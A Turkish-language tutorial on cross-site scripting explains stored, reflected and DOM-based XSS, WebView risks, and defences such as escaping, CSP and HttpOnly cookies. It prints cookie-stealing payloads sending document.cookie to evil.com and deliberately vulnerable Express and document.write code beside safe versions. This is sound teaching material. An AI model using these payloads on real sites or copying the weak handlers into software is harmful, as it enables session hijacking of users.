XSS — nedir, saldırı türleri ve koruma yöntemleri

XSS Nedir?

XSS (Cross-Site Scripting), bir saldırganın bir web sayfasına JavaScript kodu enjekte etmesine olanak tanıyan ve daha sonra kurbanın tarayıcısında çalıştırılan bir güvenlik açığıdır. Tarayıcı, güvenilir bir web sitesinden sayfayı yükler ve enjekte edilen scripti sitenin meşru koduyla aynı ayrıcalıklarla çalıştırır. Bu, saldırgana çerezlere, oturum depolamasına, sayfanın DOM ağacına erişim ve kurban adına istek gönderme yeteneği verir. XSS güvenlik açıkları, bir uygulamanın uygun kaçış veya doğrulama olmadan kullanıcı verilerini bir HTML sayfasına eklemesiyle oluşur.

XSS'in Tarihi ve Önemi

Cross-Site Scripting terimi ilk olarak 2000 yılında bir Microsoft Güvenlik Bülteni'nde ortaya çıktı. Son 25 yılda, XSS önemini kaybetmedi: HackerOne (2025)'e göre, XSS platformda kayıtlı tüm güvenlik açıklarının yaklaşık %22'sini oluşturmaktadır. XSS'in kalıcı olmasının nedeni, kullanıcı verilerinin tüm giriş noktalarını kontrol etmenin zorluğudur. Herhangi bir giriş alanı, URL parametresi, HTTP istek başlığı veya dosya adı, veriler işlenmeden HTML koduna yansıtılırsa bir saldırı vektörü haline gelebilir.

XSS Hangi Zararlara Yol Açar?

XSS saldırıları oturum çerezi hırsızlığına yol açarak bir saldırganın şifresiz olarak kurbanın hesabına giriş yapmasını sağlayabilir. Diğer sonuçlar arasında: kimlik avı sitelerine yönlendirme, sayfa içeriğinin değiştirilmesi, kişisel verilerin çalınması ve kötü amaçlı yazılım yüklemesi (drive-by download) yer alır. 2023'te, Salesforce Community Cloud platformuna yapılan bir XSS saldırısı binlerce kurumsal müşterinin verilerini etkiledi ve büyük platformların bile bu güvenlik açığına karşı bağışık olmadığını gösterdi.

XSS Saldırı Türleri

XSS sınıflandırması, saldırıları kötü amaçlı kod teslim yöntemine göre üç ana türe ayırır. Her tür farklı bir koruma yaklaşımı gerektirir: Stored XSS, veritabanından çıktının kaçış karakterleriyle işlenmesiyle; Reflected, URL parametrelerinin kaçış karakterleriyle işlenmesiyle; DOM-based, DOM API ile güvenli bir şekilde çalışılarak engellenir. Farkı anlamak, etkili bir güvenlik stratejisinin temelidir.

Stored XSS (Kalıcı)

En tehlikeli XSS türü. Bir saldırgan, sunucunun bir veritabanında sakladığı ve her sayfa yüklemesinde görüntülediği verilere bir script enjekte eder. Tipik bir vektör yorum alanıdır: saldırgan <script>document.location='https://evil.com/?c='+document.cookie</script> içeren bir yorum yayınlar. Bu yorumu içeren sayfayı yükleyen her kullanıcı, çerezlerini saldırgana gönderir. Stored XSS, kurbanın sayfayı ziyaret etmek dışında herhangi bir işlem yapmasını gerektirmez — bu da onu sosyal ağlar, forumlar ve bloglar için özellikle tehlikeli kılar.

Reflected XSS (Yansıtılmış)

Kötü amaçlı script bir HTTP isteğinde (genellikle bir URL parametresinde) iletilir ve sunucu tarafından yanıtta hemen yansıtılır. Saldırgan https://example.com/search?q=<script>...</script> gibi bir bağlantı oluşturur ve bunu kimlik avı, sosyal ağlar veya e-posta yoluyla dağıtır. Bağlantıya tıklayan kurban, girilen arama sorgusunun (script) kaçış karakterleri olmadan görüntülendiği bir sayfa alır. Reflected XSS, sosyal mühendislik gerektirir — kurbanın bağlantıya tıklaması gerekir, bu da riski azaltır ancak ortadan kaldırmaz.

DOM-based XSS

Stored ve Reflected'ın aksine, DOM-based XSS sunucuya veri gönderilmesini gerektirmez. Güvenlik açığı, istemci tarafı JavaScript'in güvenli işleme olmadan URL, document.referrer, postMessage veya localStorage'dan kullanıcı verilerini DOM'a eklemesiyle oluşur. Örneğin, document.getElementById('output').innerHTML = location.hash.substring(1) gibi kod, URL parçasından (#<img onerror='...'>) herhangi bir HTML ve scripti çalıştırır. DOM-based XSS'in tespit edilmesi en zor olanıdır çünkü sunucu kötü amaçlı yükü asla almaz — tamamen istemcide işlenir.

// DOM-based XSS Örneği (ZAYIF KOD)
// userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>" ise
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — tehlikeli: ham HTML ekler
document.write('<div>' + userInput + '</div>');

// GÜVENLİ ALTERNATİF — textContent kullanın
document.getElementById('output').textContent = userInput;

XSS Saldırısı Nasıl Çalışır?

XSS, web'in temel bir özelliğinden yararlanır: tarayıcı, güvenilir bir etki alanından alınan JavaScript'i çalıştırır. Bir saldırgan, kodunu sunucunun HTML yanıtına enjekte etmenin bir yolunu bulursa, tarayıcı onu meşru kodla aynı ayrıcalıklarla çalıştırır. Saldırı üç aşamadan geçer: içeriğe kötü amaçlı kod enjeksiyonu, içeriğin kurbanın tarayıcısına teslimi ve DOM, çerezler ve depolamaya erişimle kod çalıştırma.

Enjeksiyon Aşaması

Saldırgan, sunucunun kaçış karakterleri olmadan HTML yanıtına dahil ettiği değere sahip bir giriş noktası — bir alan, URL parametresi veya başlık — bulur. Tipik giriş noktaları şunları içerir: arama çubukları, yorum alanları, kullanıcı adı, avatar URL'si, çerezler, HTTP başlıkları (User-Agent, Referer). Modern çerçeveler (React, Angular, Vue) çıktıyı otomatik olarak kaçış karakterleriyle işler, ancak geliştiriciler dangerouslySetInnerHTML, bypassSecurityTrustHtml veya v-html aracılığıyla kaçışı devre dışı bırakabilir.

Teslim Aşaması

Reflected XSS için, saldırgan kötü amaçlı bağlantıyı dağıtır. Stored XSS için, hedef sitede içerik yayınlamak yeterlidir ve sayfanın her ziyaretçisi kurban olur. DOM-based XSS, belirli bir URL parçasıyla bir sayfa yüklendiğinde etkinleştirilir. Her üç aşama da otomatikleştirilebilir: bir reklam banner'ında (üçüncü taraf içeriği) XSS keşfedilirse, banner kaldırılana kadar saldırı sitenin tüm kullanıcılarını etkileyecektir.

// Aramada Reflected XSS Örneği (ZAYIF BACKEND)
// q parametresini kaçış karakterleriyle işlemek yerine, sunucu onu HTML'ye ekler

// Express.js — zayif işleyici:
app.get('/search', (req, res) => {
    const query = req.query.q; // kullanıcı girişi
    res.send(`<h1>Results for: ${query}</h1>`);
});

// GÜVENLİ SÜRÜM — encodeURI veya şablon motoru aracılığıyla kaçış:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

Mobil Uygulamalarda XSS

Mobil uygulamalar da web sitelerinden daha az olsa da XSS saldırılarına karşı hassastır. Ana vektör WebView ve hibrit çerçevelerdir (Cordova, Capacitor, React Native with WebView). Uygulama WebView'da web içeriği yüklüyorsa — özellikle kullanıcı içeriği (HTML e-posta, makaleler, mesajlar) — bir XSS güvenlik açığı, JavaScript köprüsü aracılığıyla yerel işlevlere erişim ile uygulama içinde JavaScript yürütülmesine yol açabilir.

Android WebView'da XSS

Android WebView varsayılan olarak JavaScript'i çalıştırır. Uygulama loadDataWithBaseURL() aracılığıyla bir HTML dizesi yüklerse veya kullanıcı içeriği görüntülerse, bir XSS saldırısı saldırgana JavaScript arayüzüne (addJavascriptInterface) erişim sağlayabilir. Google, API < 17 için @JavascriptInterface kullanımını yasaklamıştır, ancak eski uygulamalardaki eski kod hala mevcuttur. Koruma: gerekli değilse WebView'da JavaScript'i devre dışı bırakın ve güvenli tarama kullanın.

React Native ve Flutter'da XSS

React Native, kullanıcı arayüzü için WebView kullanmaz — bileşenler yerel görünümlerde işlenir. Ancak, HTML react-native-webview veya zengin metin bileşenleri aracılığıyla görüntülenirken, XSS riski geri döner. Flutter, kendi işleme motorunu (Skia) kullanır ve HTML widget'larında JavaScript'i desteklemez (flutter_html script etiketlerini çalıştırmaz), ancak WebView eklentileri (webview_flutter) yerel WebView'lara benzer şekilde savunmasızdır. En iyi uygulama — güvenilmeyen HTML'yi asla WebView'a iletmeyin.

• WebView'da JavaScript'i devre dışı bırakın içerik etkileşim gerektirmiyorsa
• CSP başlıkları kullanın WebView'da script kaynaklarını sınırlamak için
• HTML'i temizleyin WebView'a yüklemeden önce: script etiketlerini ve olay işleyicilerini kaldırın
• Android'de addJavascriptInterface kullanmayın gelen verilerin sıkı doğrulaması olmadan

// Android'de Güvenli WebView Yapılandırması
val webView = findViewById<WebView>(R.id.webview)

// Etkileşim gerekli değilse JavaScript'i devre dışı bırakın
webView.settings.javaScriptEnabled = false

// Yüklemeden önce HTML'i temizleyin
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS Önleme Yöntemleri

XSS'den korunma üç ilkeye dayanır: kullanıcı girişine güvenme, çıktıdan önce kaçış karakterleri kullan, Content Security Policy kullan. Çıktı kodlaması en önemli yöntemdir: kullanıcıdan alınan tüm veriler HTML, JavaScript, CSS veya URL'ye eklenmeden önce kaçış karakterleriyle işlenmelidir. Modern şablon motorları (Twig, Handlebars, JSX, Blade), geliştirici özel yöntemlerle kaçışı devre dışı bırakmadıkça bunu otomatik olarak yapar.

Bağlamsal Kaçış

Kaçış, veri ekleme bağlamına bağlıdır. HTML bağlamında, <, >, & ve tırnak işaretleri kaçış karakterleriyle işlenir. JavaScript bağlamında, ters tırnak, ve </script> kaçış karakterleriyle işlenir. CSS bağlamında — kontrol karakterleri. URL bağlamında — URL kodlaması. Bir bağlam hatası — örneğin, HTML için kaçış karakterleriyle işlenmiş bir dizeyi onclick özniteliğine eklemek — XSS'den korumaz çünkü onclick JavaScript bağlamında çalıştırılır ve farklı bir kaçış gerekir.

Content Security Policy (CSP)

CSP, tarayıcının script, stil ve diğer kaynakları yükleyebileceği kaynakları sınırlayan bir HTTP başlığıdır. Sıkı bir CSP (unsafe-inline olmadan, unsafe-eval olmadan), XSS vektörleri dahil olmak üzere herhangi bir satır içi scriptin yürütülmesini engeller. Google Security Blog (2025)'e göre, CSP kullanan siteler XSS saldırılarının %95'ini engeller. Örnek: Content-Security-Policy: default-src 'self'; script-src 'self' tüm harici ve satır içi scriptleri yasaklar. CSP, script aynı etki alanından yükleniyorsa Stored XSS'den korumaz, ancak bu saldırganın ek çaba göstermesini gerektirir.

HttpOnly ve Secure Çerezleri

Çerezler için HttpOnly bayrağını ayarlamak, JavaScript (document.cookie) aracılığıyla erişimi engeller ve XSS yoluyla oturum çerezi hırsızlığını bloke eder. Secure bayrağı, çerezin yalnızca HTTPS üzerinden iletilmesini sağlar. HttpOnly + Secure + SameSite=Lax kombinasyonu, XSS yoluyla oturum çerezi hırsızlığını pratik olarak imkansız hale getirir. Ancak, XSS yine de kullanıcı adına işlemler gerçekleştirebilir (örneğin, istek gönderme), bu nedenle HttpOnly her derde deva değil, kapsamlı bir savunmanın parçasıdır.

XSS Tespit Araçları

Düzenli XSS testi, güvenli geliştirme CI/CD ardışık düzeninin zorunlu bir parçasıdır. Otomatik tarayıcılar, XSS güvenlik açıklarının %80'ine kadarını bulur; geri kalanı manuel sızma testi gerektirir. En iyi yaklaşım, SAST (statik) analizi, DAST (dinamik) taraması ve kullanıcı verisi giriş noktalarına odaklanan kod incelemesinin bir kombinasyonudur.

• OWASP ZAP — ücretsiz DAST tarayıcı, web uygulamalarında XSS'i otomatik olarak bulur
• Burp Suite Professional — XSS için Active Scan ve Intruder ile gelişmiş araç
• XSStrike — yük oluşturma ile özel XSS tarayıcısı
• ESLint-plugin-security — tehlikeli desenler için React/JSX'in statik analizi
• Google Observatory — CSP başlıklarını ve XSS ile ilgili yapılandırmaları kontrol eder

Mobil uygulamalar için XSS testi WebView analizini içerir: JavaScript arayüzlerinin kontrolü, URL şeması işleme ve loadDataWithBaseURL'ye HTML iletme. Hibrit uygulamalarda postMessage işlemenin test edilmesi ve JavaScript köprüsü aracılığıyla hangi verilerin iletildiğinin kontrol edilmesi de önerilir. Mobil uygulama trafiğini yakalamak ve değiştirmek için bir proxy (Burp Suite) ile bir emülatör kullanın.